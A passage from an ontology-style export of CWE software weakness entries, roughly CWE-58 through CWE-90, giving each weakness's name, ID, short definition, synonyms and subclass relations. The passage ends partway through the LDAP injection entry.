Path Equivalence: Windows 8.3 Filename
type: Class
cwe-id: CWE-58
definition: The product contains a protection mechanism that restricts access to a long filename on a Windows operating system, but it does not properly restrict access to the equivalent short "8.3" filename.
subclass of: CWE-41

clone() Method Without super.clone()
type: Class
cwe-id: CWE-580
definition: The product contains a clone() method that does not call super.clone() to obtain the new object.
subclass of: CWE-573
subclass of: CWE-664

Object Model Violation: Just One of Equals and Hashcode Defined
type: Class
cwe-id: CWE-581
definition: The product does not maintain equal hashcodes for equal objects.
subclass of: CWE-573
subclass of: CWE-697

Array Declared Public, Final, and Static
type: Class
cwe-id: CWE-582
definition: The product declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.
subclass of: CWE-668

finalize() Method Declared Public
type: Class
cwe-id: CWE-583
definition: The product violates secure coding principles for mobile code by declaring a finalize() method public.
subclass of: CWE-668

Return Inside Finally Block
type: Class
cwe-id: CWE-584
definition: The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.
subclass of: CWE-705

Empty Synchronized Block
type: Class
cwe-id: CWE-585
definition: The product contains an empty synchronized block.
subclass of: Empty Code Block

Explicit Call to Finalize()
type: Class
cwe-id: CWE-586
definition: The product makes an explicit call to the finalize() method from outside the finalizer.
subclass of: CWE-1076

Assignment of a Fixed Address to a Pointer
type: Class
cwe-id: CWE-587
definition: The product sets a pointer to a specific address other than NULL or 0.
subclass of: CWE-344
subclass of: CWE-758

Attempt to Access Child of a Non-structure Pointer
type: Class
cwe-id: CWE-588
definition: Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.
subclass of: CWE-704
subclass of: CWE-758

Call to Non-ubiquitous API
type: Class
cwe-id: CWE-589
definition: The product uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.
subclass of: Use of Function with Inconsistent Implementations

Free of Memory not on the Heap
type: Class
type: NamedIndividual
cwe-id: CWE-590
definition: The product calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().
weakness-of: MemoryFreeFunction
subclass of: Restriction
  on property: weakness-of
  some values from: MemoryFreeFunction
subclass of: Mismatched Memory Management Routines

Sensitive Data Storage in Improperly Locked Memory
type: Class
cwe-id: CWE-591
definition: The product stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.
subclass of: Improper Resource Locking

Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
type: Class
cwe-id: CWE-593
definition: The product modifies the SSL context after connection creation has begun.
subclass of: CWE-1390
subclass of: CWE-666

J2EE Framework: Saving Unserializable Objects to Disk
type: Class
cwe-id: CWE-594
definition: When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.
subclass of: CWE-1076
subclass of: CWE-710

Use of Wrong Operator in String Comparison
type: Class
cwe-id: CWE-597
definition: The product uses the wrong operator when comparing a string, such as using "==" when the .equals() method should be used instead.
subclass of: CWE-480
subclass of: Comparison of Object References Instead of Object Contents

Use of GET Request Method With Sensitive Query Strings
type: Class
cwe-id: CWE-598
definition: The web application uses the HTTP GET method to process a request and includes sensitive information in the query string of that request.
subclass of: Insertion of Sensitive Information Into Sent Data

Missing Validation of OpenSSL Certificate
type: Class
cwe-id: CWE-599
definition: The product uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements.
subclass of: CWE-295

J2EE Misconfiguration: Insufficient Session-ID Length
type: Class
cwe-id: CWE-6
definition: The J2EE application is configured to use an insufficient session ID length.
subclass of: Small Space of Random Values

Uncaught Exception in Servlet
type: Class
cwe-id: CWE-600
definition: The Servlet does not catch all exceptions, which may reveal sensitive debugging information.
synonym: Missing Catch Block
subclass of: Uncaught Exception

URL Redirection to Untrusted Site ('Open Redirect')
type: Class
cwe-id: CWE-601
definition: The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
synonym: Cross-domain Redirect
synonym: Cross-site Redirect
synonym: Open Redirect
synonym: Unvalidated Redirect
subclass of: CWE-610

Use of Client-Side Authentication
type: Class
cwe-id: CWE-603
definition: A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.
subclass of: CWE-1390
subclass of: Client-Side Enforcement of Server-Side Security

Multiple Binds to the Same Port
type: Class
cwe-id: CWE-605
definition: When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.
subclass of: CWE-666
subclass of: CWE-675

Unchecked Input for Loop Condition
type: Class
cwe-id: CWE-606
definition: The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.
subclass of: Improper Validation of Specified Quantity in Input

Public Static Final Field References Mutable Object
type: Class
cwe-id: CWE-607
definition: A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.
subclass of: CWE-471

Struts: Non-private Field in ActionForm Class
type: Class
cwe-id: CWE-608
definition: An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.
subclass of: CWE-668

Double-Checked Locking
type: Class
cwe-id: CWE-609
definition: The product uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.
subclass of: CWE-667

UNIX Symbolic Link (Symlink) Following
type: Class
cwe-id: CWE-61
definition: The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
synonym: Symlink following
synonym: symlink vulnerability
subclass of: CWE-59

Improper Restriction of XML External Entity Reference
type: Class
type: NamedIndividual
cwe-id: CWE-611
definition: The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.
synonym: XXE
weakness-of: External Content Inclusion Function
subclass of: Restriction
  on property: weakness-of
  some values from: External Content Inclusion Function
subclass of: CWE-610

Improper Authorization of Index Containing Sensitive Information
type: Class
cwe-id: CWE-612
definition: The product creates a search index of private or sensitive documents, but it does not properly limit index access to actors who are authorized to see the original information.
subclass of: Exposure of Sensitive Information Through Metadata

Insufficient Session Expiration
type: Class
cwe-id: CWE-613
definition: According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."
subclass of: CWE-672

Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
type: Class
cwe-id: CWE-614
definition: The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session.
subclass of: CWE-319

Inclusion of Sensitive Information in Source Code Comments
type: Class
cwe-id: CWE-615
definition: While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.
subclass of: CWE-540

Incomplete Identification of Uploaded File Variables (PHP)
type: Class
cwe-id: CWE-616
definition: The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.
subclass of: CWE-345

Reachable Assertion
type: Class
cwe-id: CWE-617
definition: The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.
synonym: assertion failure
subclass of: CWE-670

Exposed Unsafe ActiveX Method
type: Class
cwe-id: CWE-618
definition: An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).
subclass of: Exposed Dangerous Method or Function

Dangling Database Cursor ('Cursor Injection')
type: Class
cwe-id: CWE-619
definition: If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor "dangling."
subclass of: Transmission of Private Resources into a New Sphere ('Resource Leak')

UNIX Hard Link
type: Class
cwe-id: CWE-62
definition: The product, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
subclass of: CWE-59

Unverified Password Change
type: Class
cwe-id: CWE-620
definition: When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.
subclass of: CWE-1390

Variable Extraction Error
type: Class
cwe-id: CWE-621
definition: The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.
synonym: Variable overwrite
subclass of: Improper Control of Dynamically-Identified Variables

Improper Validation of Function Hook Arguments
type: Class
cwe-id: CWE-622
definition: The product adds hooks to user-accessible API functions, but it does not properly validate the arguments. This could lead to resultant vulnerabilities.
subclass of: CWE-20

Unsafe ActiveX Control Marked Safe For Scripting
type: Class
cwe-id: CWE-623
definition: An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.
subclass of: Privilege Defined With Unsafe Actions

Executable Regular Expression Error
type: Class
cwe-id: CWE-624
definition: The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.
subclass of: CWE-77

Null Byte Interaction Error (Poison Null Byte)
type: Class
cwe-id: CWE-626
definition: The product does not properly handle null bytes or NUL characters when passing data between different representations or components.
subclass of: Improper Neutralization of Input Terminators
subclass of: CWE-436

Dynamic Variable Evaluation
type: Class
cwe-id: CWE-627
definition: In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.
synonym: Dynamic evaluation
subclass of: Improper Control of Dynamically-Identified Variables

Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')
type: Class
cwe-id: CWE-637
definition: The product uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.
synonym: Unnecessary Complexity
subclass of: CWE-657

Windows Shortcut Following (.LNK)
type: Class
cwe-id: CWE-64
definition: The product, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
synonym: Windows symbolic link following
synonym: symlink
subclass of: CWE-59

Weak Password Recovery Mechanism for Forgotten Password
type: Class
cwe-id: CWE-640
definition: The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.
subclass of: CWE-1390

Improper Restriction of Names for Files and Other Resources
type: Class
cwe-id: CWE-641
definition: The product constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name.
subclass of: CWE-99

Improper Neutralization of Data within XPath Expressions ('XPath Injection')
type: Class
cwe-id: CWE-643
definition: The product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
subclass of: XML Injection (aka Blind XPath Injection)
subclass of: CWE-943

Improper Neutralization of HTTP Headers for Scripting Syntax
type: Class
cwe-id: CWE-644
definition: The product does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.
subclass of: CWE-116

Overly Restrictive Account Lockout Mechanism
type: Class
cwe-id: CWE-645
definition: The product contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily, which allows attackers to deny service to legitimate users by causing their accounts to be locked out.
subclass of: CWE-287

Reliance on File Name or Extension of Externally-Supplied File
type: Class
cwe-id: CWE-646
definition: The product allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.
subclass of: CWE-345

Use of Non-Canonical URL Paths for Authorization Decisions
type: Class
cwe-id: CWE-647
definition: The product defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.
subclass of: CWE-863

Incorrect Use of Privileged APIs
type: Class
cwe-id: CWE-648
definition: The product does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.
subclass of: CWE-269

Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking
type: Class
cwe-id: CWE-649
definition: The product uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the product does not use integrity checks to detect if those inputs have been modified.
subclass of: CWE-345

Windows Hard Link
type: Class
cwe-id: CWE-65
definition: The product, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
subclass of: CWE-59

Trusting HTTP Permission Methods on the Server Side
type: Class
cwe-id: CWE-650
definition: The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.
subclass of: CWE-436

Exposure of WSDL File Containing Sensitive Information
type: Class
cwe-id: CWE-651
definition: The Web services architecture may require exposing a Web Service Definition Language (WSDL) file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).
subclass of: CWE-538

Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')
type: Class
cwe-id: CWE-652
definition: The product uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
subclass of: XML Injection (aka Blind XPath Injection)
subclass of: CWE-943

Insufficient Psychological Acceptability
type: Class
cwe-id: CWE-655
definition: The product has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.
subclass of: CWE-657
subclass of: CWE-693

Reliance on Security Through Obscurity
type: Class
cwe-id: CWE-656
definition: The product uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.
synonym: Never Assuming your secrets are safe
subclass of: CWE-657
subclass of: CWE-693

Improper Handling of Windows Device Names
type: Class
cwe-id: CWE-67
definition: The product constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.
subclass of: CWE-66

Integer Overflow to Buffer Overflow
type: Class
cwe-id: CWE-680
definition: The product performs a calculation to determine how much memory to allocate, but an integer overflow can occur that causes less memory to be allocated than expected, leading to a buffer overflow.
subclass of: CWE-119
subclass of: Integer Overflow or Wraparound

Function Call With Incorrect Order of Arguments
type: Class
cwe-id: CWE-683
definition: The product calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.
subclass of: CWE-628

Function Call With Incorrect Number of Arguments
type: Class
cwe-id: CWE-685
definition: The product calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, which may lead to undefined behavior and resultant weaknesses.
subclass of: CWE-628

Function Call With Incorrect Argument Type
type: Class
cwe-id: CWE-686
definition: The product calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses.
subclass of: CWE-628

Function Call With Incorrect Variable or Reference as Argument
type: Class
cwe-id: CWE-688
definition: The product calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses.
subclass of: CWE-628

Permission Race Condition During Resource Copy
type: Class
cwe-id: CWE-689
definition: The product, while copying or cloning a resource, does not set the resource's permissions or access control until the copy is complete, leaving the resource exposed to other spheres while the copy is taking place.
subclass of: CWE-362

Improper Handling of Windows ::DATA Alternate Data Stream
type: Class
cwe-id: CWE-69
definition: The product does not properly prevent access to, or detect usage of, alternate data streams (ADS).
subclass of: CWE-66

Unchecked Return Value to NULL Pointer Dereference
type: Class
cwe-id: CWE-690
definition: The product does not check for an error after calling a function that can return with a NULL pointer if the function fails, which leads to a resultant NULL pointer dereference.
subclass of: Unchecked Return Value
subclass of: NULL Pointer Dereference

Incomplete Denylist to Cross-Site Scripting
type: Class
cwe-id: CWE-692
definition: The product uses a denylist-based protection mechanism to defend against XSS attacks, but the denylist is incomplete, allowing XSS variants to succeed.
subclass of: Incomplete List of Disallowed Inputs
subclass of: CWE-79

Execution After Redirect (EAR)
type: Class
cwe-id: CWE-698
definition: The web application sends a redirect to another location, but instead of exiting, it executes additional code.
synonym: Redirect Without Exit
subclass of: CWE-670
subclass of: CWE-705

J2EE Misconfiguration: Missing Custom Error Page
type: Class
cwe-id: CWE-7
definition: The default error page of a web application should not display sensitive information about the product.
subclass of: Missing Custom Error Page

Incorrect Ownership Assignment
type: Class
cwe-id: CWE-708
definition: The product assigns an owner to a resource, but the owner is outside of the intended control sphere.
subclass of: Improper Ownership Management

Improper Handling of Apple HFS+ Alternate Data Stream Path
type: Class
cwe-id: CWE-72
definition: The product does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.
subclass of: CWE-66

Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')
type: Class
cwe-id: CWE-757
definition: A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.
subclass of: CWE-693

Use of a One-Way Hash without a Salt
type: Class
cwe-id: CWE-759
definition: The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product does not also use a salt as part of the input.
subclass of: Use of Password Hash With Insufficient Computational Effort

Improper Neutralization of Equivalent Special Elements
type: Class
cwe-id: CWE-76
definition: The product correctly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.
subclass of: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)

Use of a One-Way Hash with a Predictable Salt
type: Class
cwe-id: CWE-760
definition: The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product uses a predictable salt as part of the input.
subclass of: Use of Password Hash With Insufficient Computational Effort

Free of Pointer not at Start of Buffer
type: Class
type: NamedIndividual
cwe-id: CWE-761
definition: The product calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.
weakness-of: MemoryFreeFunction
subclass of: Restriction
  on property: weakness-of
  some values from: MemoryFreeFunction
subclass of: Release of Invalid Pointer or Reference

Multiple Locks of a Critical Resource
type: Class
cwe-id: CWE-764
definition: The product locks a critical resource more times than intended, leading to an unexpected state in the system.
subclass of: CWE-667
subclass of: CWE-675

Multiple Unlocks of a Critical Resource
type: Class
cwe-id: CWE-765
definition: The product unlocks a critical resource more times than intended, leading to an unexpected state in the system.
subclass of: CWE-667
subclass of: CWE-675

Critical Data Element Declared Public
type: Class
cwe-id: CWE-766
definition: The product declares a critical variable, field, or member to be public when intended security policy requires it to be private.
subclass of: CWE-1061
subclass of: CWE-732

Access to Critical Private Variable via Public Method
type: Class
cwe-id: CWE-767
definition: The product defines a public method that reads or modifies a private variable.
subclass of: CWE-668

Incorrect Short Circuit Evaluation
type: Class
cwe-id: CWE-768
definition: The product contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring.
subclass of: CWE-691

Missing Reference to Active File Descriptor or Handle
type: Class
cwe-id: CWE-773
definition: The product does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.
subclass of: Missing Reference to Active Allocated Resource

Allocation of File Descriptors or Handles Without Limits or Throttling
type: Class
cwe-id: CWE-774
definition: The product allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.
synonym: File Descriptor Exhaustion
subclass of: CWE-770

Missing Release of File Descriptor or Handle after Effective Lifetime
type: Class
cwe-id: CWE-775
definition: The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.
subclass of: CWE-772

Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
type: Class
cwe-id: CWE-776
definition: The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.
synonym: Billion Laughs Attack
synonym: XEE
synonym: XML Bomb
subclass of: CWE-405
subclass of: Uncontrolled Recursion

Regular Expression without Anchors
type: Class
cwe-id: CWE-777
definition: The product uses a regular expression to perform neutralization, but the regular expression is not anchored and may allow malicious or malformed data to slip through.
subclass of: Permissive Regular Expression

Insufficient Logging
type: Class
cwe-id: CWE-778
definition: When a security-critical event occurs, the product either does not record the event or omits important details about the event when logging it.
subclass of: Omission of Security-relevant Information
subclass of: CWE-693

Logging of Excessive Data
type: Class
cwe-id: CWE-779
definition: The product logs too much information, making log files hard to process and possibly hindering recovery efforts or forensic analysis after an attack.
subclass of: CWE-400

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
type: Class
type: NamedIndividual
cwe-id: CWE-78
definition: The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
may-be-weakness-of: EvalFunction
may-be-weakness-of: ProcessStartFunction
may-be-weakness-of: UserInputFunction
synonym: OS Command Injection
synonym: Shell injection
synonym: Shell metacharacters
subclass of: Restriction
  on property: may-be-weakness-of
  some values from: EvalFunction
subclass of: Restriction
  on property: may-be-weakness-of
  some values from: UserInputFunction
subclass of: Restriction
  on property: may-be-weakness-of
  some values from: ProcessStartFunction
subclass of: CWE-77

Use of RSA Algorithm without OAEP
type: Class
cwe-id: CWE-780
definition: The product uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.
subclass of: CWE-327

Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code
type: Class
cwe-id: CWE-781
definition: The product defines an IOCTL that uses METHOD_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided.
subclass of: Improper Validation of Specified Index, Position, or Offset in Input

Exposed IOCTL with Insufficient Access Control
type: Class
cwe-id: CWE-782
definition: The product implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL.
subclass of: Exposed Dangerous Method or Function

Operator Precedence Logic Error
type: Class
cwe-id: CWE-783
definition: The product uses an expression in which operator precedence causes incorrect logic to be used.
subclass of: CWE-670

Reliance on Cookies without Validation and Integrity Checking in a Security Decision
type: Class
cwe-id: CWE-784
definition: The product uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user.
subclass of: Reliance on Cookies without Validation and Integrity Checking
subclass of: CWE-807

Use of Path Manipulation Function without Maximum-sized Buffer
type: Class
cwe-id: CWE-785
definition: The product invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX.
subclass of: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
subclass of: Use of Potentially Dangerous Function

Memory Allocation with Excessive Size Value
type: Class
cwe-id: CWE-789
definition: The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.
synonym: Stack Exhaustion
subclass of: Improper Validation of Specified Quantity in Input
subclass of: CWE-770

Only Filtering One Instance of a Special Element
type: Class
cwe-id: CWE-793
definition: The product receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component.
subclass of: Incomplete Filtering of One or More Instances of Special Elements

Incomplete Filtering of Multiple Instances of Special Elements
type: Class
cwe-id: CWE-794
definition: The product receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component.
subclass of: Incomplete Filtering of One or More Instances of Special Elements

Only Filtering Special Elements Relative to a Marker
type: Class
cwe-id: CWE-796
definition: The product receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. "at the beginning/end of a string; the second argument"), thereby missing remaining special elements that may exist before sending it to a downstream component.
subclass of: Only Filtering Special Elements at a Specified Location

Only Filtering Special Elements at an Absolute Position
type: Class
cwe-id: CWE-797
definition: The product receives data from an upstream component, but only accounts for special elements at an absolute position (e.g. "byte number 10"), thereby missing remaining special elements that may exist before sending it to a downstream component.
subclass of: Only Filtering Special Elements at a Specified Location

J2EE Misconfiguration: Entity Bean Declared Remote
type: Class
cwe-id: CWE-8
definition: When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.
subclass of: CWE-668

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
type: Class
cwe-id: CWE-80
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.
subclass of: CWE-79

Guessable CAPTCHA
type: Class
cwe-id: CWE-804
definition: The product uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor.
subclass of: CWE-1390
subclass of: CWE-863

Buffer Access Using Size of Source Buffer
type: Class
cwe-id: CWE-806
definition: The product uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer.
subclass of: Buffer Access with Incorrect Length Value

Improper Neutralization of Script in an Error Message Web Page
type: Class
cwe-id: CWE-81
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page.
subclass of: CWE-79

Improper Neutralization of Script in Attributes of IMG Tags in a Web Page
type: Class
cwe-id: CWE-82
definition: The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute.
subclass of: Improper Neutralization of Script in Attributes in a Web Page

Untrusted Pointer Dereference
type: Class
type: NamedIndividual
cwe-id: CWE-822
definition: The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.
weakness-of: PointerDereferencingFunction
subclass of: Restriction
  on property: weakness-of
  some values from: PointerDereferencingFunction
subclass of: CWE-119

Use of Out-of-range Pointer Offset
type: Class
cwe-id: CWE-823
definition: The product performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.
synonym: Untrusted pointer offset
subclass of: CWE-119

Access of Uninitialized Pointer
type: Class
type: NamedIndividual
cwe-id: CWE-824
definition: The product accesses or uses a pointer that has not been initialized.
weakness-of: PointerDereferencingFunction
subclass of: Restriction
  on property: weakness-of
  some values from: PointerDereferencingFunction
subclass of: CWE-119

Premature Release of Resource During Expected Lifetime
type: Class
cwe-id: CWE-826
definition: The product releases a resource that is still intended to be used by itself or another actor.
subclass of: CWE-666

Improper Control of Document Type Definition
type: Class
cwe-id: CWE-827
definition: The product does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the product to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker.
subclass of: CWE-706
subclass of: CWE-829

Inclusion of Web Functionality from an Untrusted Source
type: Class
cwe-id: CWE-830
definition: The product includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source.
subclass of: CWE-829

Signal Handler Function Associated with Multiple Signals
type: Class
cwe-id: CWE-831
definition: The product defines a function that is used as a handler for more than one signal.
subclass of: CWE-364

Unlock of a Resource that is not Locked
type: Class
cwe-id: CWE-832
definition: The product attempts to unlock a resource that is not locked.
subclass of: CWE-667

Deadlock
type: Class
cwe-id: CWE-833
definition: The product contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.
subclass of: CWE-667

Loop with Unreachable Exit Condition ('Infinite Loop')
type: Class
cwe-id: CWE-835
definition: The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
subclass of: CWE-834

Use of Password Hash Instead of Password for Authentication
type: Class
cwe-id: CWE-836
definition: The product records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store.
subclass of: CWE-1390

Improper Enforcement of a Single, Unique Action
type: Class
cwe-id: CWE-837
definition: The product requires that an actor should only be able to perform an action once, or to have only one unique action, but the product does not enforce or improperly enforces this restriction.
subclass of: Improper Control of Interaction Frequency

Inappropriate Encoding for Output Context
type: Class
cwe-id: CWE-838
definition: The product uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component.
subclass of: CWE-116

Numeric Range Comparison Without Minimum Check
type: Class
cwe-id: CWE-839
definition: The product checks a value to ensure that it is less than or equal to a maximum, but it does not also verify that the value is greater than or equal to the minimum.
synonym: Signed comparison
subclass of: CWE-1023

Improper Neutralization of Encoded URI Schemes in a Web Page
type: Class
cwe-id: CWE-84
definition: The web application improperly neutralizes user-controlled input for executable script disguised with URI encodings.
subclass of: CWE-79

Improper Enforcement of Behavioral Workflow
type: Class
cwe-id: CWE-841
definition: The product supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.
subclass of: CWE-691

Placement of User into Incorrect Group
type: Class
cwe-id: CWE-842
definition: The product or the administrator places a user into an incorrect group.
subclass of: Incorrect User Management

Access of Resource Using Incompatible Type ('Type Confusion')
type: Class
cwe-id: CWE-843
definition: The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.
synonym: Object Type Confusion
subclass of: CWE-704

Doubled Character XSS Manipulations
type: Class
cwe-id: CWE-85
definition: The web application does not filter user-controlled input for executable script disguised using doubling of the involved characters.
subclass of: CWE-79

Improper Neutralization of Invalid Characters in Identifiers in Web Pages
type: Class
cwe-id: CWE-86
definition: The product does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.
subclass of: CWE-436
subclass of: CWE-79

Improper Neutralization of Alternate XSS Syntax
type: Class
cwe-id: CWE-87
definition: The product does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.
subclass of: CWE-79

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
type: Class
cwe-id: CWE-88
definition: The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
subclass of: CWE-77

J2EE Misconfiguration: Weak Access Permissions for EJB Methods
type: Class
cwe-id: CWE-9
definition: If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the product.
subclass of: CWE-266

Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
type: Class
cwe-id: CWE-90
